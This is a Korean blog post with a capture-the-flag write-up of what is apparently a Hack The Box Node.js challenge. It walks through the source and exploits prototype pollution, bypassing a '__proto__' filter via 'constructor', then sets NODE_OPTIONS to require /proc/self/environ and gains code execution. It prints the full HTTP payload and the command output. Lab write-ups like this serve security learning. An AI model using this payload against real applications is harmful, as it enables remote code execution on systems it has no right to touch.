티스토리 뷰

728x90
반응형

Web Preview

  • 처음에 웹사이트를 들어가면 아래와 같이 보입니다.

  • json 형태의 body data를 보내는 radio input form 이 존재했습니다.

Code Review

  • 소스코드가 제공되었기에 코드부터 먼저 분석해보았습니다.

디렉토리 구조는 위와 같습니다.

  • 먼저 index.js 코드를 살펴보겠습니다. express 웹서버를 사용하고 있고 routes 폴더에 라우터들을 관리하고 있습니다.
const express       = require('express');
const app           = express();
const bodyParser    = require('body-parser');
const routes        = require('./routes');
const path          = require('path');

app.use(bodyParser.json());
app.set('views','./views');
app.use('/static', express.static(path.resolve('static')));

app.use(routes);

app.all('*', (req, res) => {
    return res.status(404).send('404 page not found');
});

app.listen(1337, () => console.log('Listening on port 1337'));
  • routes/index.js 내용을 보겠습니다. 중요한 코드는 DebugHelper 와 ObjectHelper 입니다.
const randomize         = require('randomatic');
const path              = require('path');
const express           = require('express');
const router            = express.Router();
const StudentHelper     = require('../helpers/StudentHelper');
const ObjectHelper      = require('../helpers/ObjectHelper');
const DebugHelper       = require('../helpers/DebugHelper');

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.get('/debug/:action', (req, res) => {
    return DebugHelper.execute(res, req.params.action);
});

router.post('/api/calculate', (req, res) => {
    let student = ObjectHelper.clone(req.body);

    if (StudentHelper.isDumb(student.name) || !StudentHelper.hasBase(student.paper)) {
        return res.send({
            'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
        });
    }

    return res.send({
        'pass': 'Passed'
    });
});

module.exports = router;
  • 우선 DebugHelper 부터 보겠습니다. child_process.execSync 를 사용해서 명령을 실행하고 있습니다. node.js 에서는 NODE_OPTIONS 환경변수를 덮어쓰기가 가능하다면 RCE 까지 이어질 수 있을 것으로 보이는 타겟입니다.
const { execSync, fork } = require('child_process');

module.exports = {
    execute(res, command) {

        res.type('txt');

        if (command == 'version') {
            let proc = fork('VersionCheck.js', [], {
                stdio: ['ignore', 'pipe', 'pipe', 'ipc']
            });

            proc.stderr.pipe(res);
            proc.stdout.pipe(res);

            return;
        } 
        
        if (command == 'ram') {
            return res.send(execSync('free -m').toString());
        }
        
        return res.send('invalid command');
    }
}
  • 그리고 ObjectHelper 코드를 보겠습니다. merge 함수를 보아 Prototype Pollution 타겟으로 보입니다. isValidKey 부분은 __proto__ 라는 문자열을 필터링하고 있는데 constructor을 이용하면 충분히 우회할 수 있을 것으로 보입니다.
module.exports = {
    isObject(obj) {
        return typeof obj === 'function' || typeof obj === 'object';
    },

    isValidKey(key) {
        return key !== '__proto__';
    },

    merge(target, source) {
        for (let key in source) {
            if (this.isValidKey(key)){
                if (this.isObject(target[key]) && this.isObject(source[key])) {
                    this.merge(target[key], source[key]);
                } else {
                    target[key] = source[key];
                }
            }
        }
        return target;
    },

    clone(target) {
        return this.merge({}, target);
    }
}
  • 결론적으로 아래와 같은 순서로 exploit 을 시도해볼 수 있을 것 같습니다.
// 1. ObjectHelper.clone 에서 javascript prototype pollution 으로  NODE_OPTIONS pollute 시도
router.post('/api/calculate', (req, res) => {
    let student = ObjectHelper.clone(req.body);
    ... 생략 ...
});

// 2. DebugHelper.execute 에서 자식 프로세스를 생성하는 fork 함수를 호출하여 RCE 시도
const { execSync, fork } = require('child_process');
module.exports = {
    execute(res, command) {
        res.type('txt');
        if (command == 'version') {
            let proc = fork('VersionCheck.js', [], {
                stdio: ['ignore', 'pipe', 'pipe', 'ipc']
            });
        ... 생략 ...
        } 
    }
}
  • 문제 자체는 지금까지 워게임 풀었던 것 중에서는 dreamhack 에서 pocas 가 만들었던 environment pollution 와 가장 유사하고 hackthebox 에서는 gunship 문제와 약간 비슷한 문제인 것으로 보입니다.
  • 우선 제가 아는 방법 중에 NODE_OPTIONS 를 이용해서 자식 프로세스가 동작하기 전에 실행할 것으로 파일을 지정할 수 있는 것으로 아는데, 어떤 파일을 타겟으로 할 지 고민해봐야 했습니다.
  • 파일 업로드 기능은 없는 것으로 보아 임의의 파일을 실행시키기엔 어려워 보였습니다. 하지만 문득 이전에 Toxic 문제에서 사용했던 Log Poisoning 과 같은 방법이 생각났습니다. 하지만 설정파일을 보아하니 logfile 이 /dev/null 로 지정되어 있어 로깅은 하지 않는 것으로 생각되었습니다. 그러다가 찾아보다가 환경변수를 javascript prototype pollution 으로 pollute 시킬 수 있다고 하는 것을 보았습니다. (참고 : https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ )
 

Exploiting prototype pollution - RCE in Kibana (CVE-2019-7609) - research.securitum.com

Prototype pollution is a vulnerability that is specific to programming languages with prototype-based inheritance (the most common one being JavaScript). While the bug is well-known for some time now, it lacks practical examples of exploitation. In this po

research.securitum.com

  • 위 참고 사이트 내용에는 /proc/self/environ 경로에 env 환경변수 설정 값들이 모두 담겨있다고 설명하고 있습니다. 해서 이 파일을 NODE_OPTIONS 에 설정하고, env 환경변수에 payload를 삽입하게 되면 RCE가 가능하게 된다고 말합니다.

Exploit

  • Payload 는 아래와 같습니다.
POST /api/calculate HTTP/1.1
Host: 104.248.169.123:32095
Content-Length: 167
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://104.248.169.123:32095
Referer: http://104.248.169.123:32095/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{
  "constructor":{
    "prototype":{
      "env":{ 
        "RCE":"console.log(require('child_process').execSync('ls').toString())//"
      },
      "NODE_OPTIONS":"--require /proc/self/environ"
    }
  }
}
  • 위 페이로드를 전송하게 되면 이제 env 환경변수엔 RCE라는 이름의 ls 명령을 수행하고 그 결과를 문자열로 만들어 출력해주는 구문이 삽입되게 됩니다. cat /proc/self/environ 한 결과를 보도록 하겠습니다.
// cat /proc/self/environ 결과
RCE=console.log(require('child_process').execSync('ls').toString())//
NODE_OPTIONS=--require /proc/self/environ
  • 위와 같이 환경변수 파일에는 저희가 삽입한 페이로드가 잘 삽입된 것을 확인할 수 있습니다. 그리고 NODE_OPTIONS 도 잘 삽입된 것을 볼 수 있습니다. 이제 해당 페이로드를 실행시키기만 하면 될 것 같습니다. /debug/version 경로로 GET request를 전송했을 때의 response 데이터는 아래와 같습니다.
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Date: Sun, 17 Oct 2021 17:46:15 GMT
Connection: close
Content-Length: 149

VersionCheck.js
flag_e1T6f
helpers
index.js
node_modules
package-lock.json
package.json
routes
static
views

Everything is OK (v12.18.1 == v12.18.1)
  • 이렇게 flag 파일 명이 노출되는 것을 알 수 있습니다. 이제 현재 경로에 있는 flag_e1T6f 파일의 내용을 출력하기만 하면 플래그를 획득할 수 있게 됩니다.
HTB{.....가려짐......}
728x90
반응형
댓글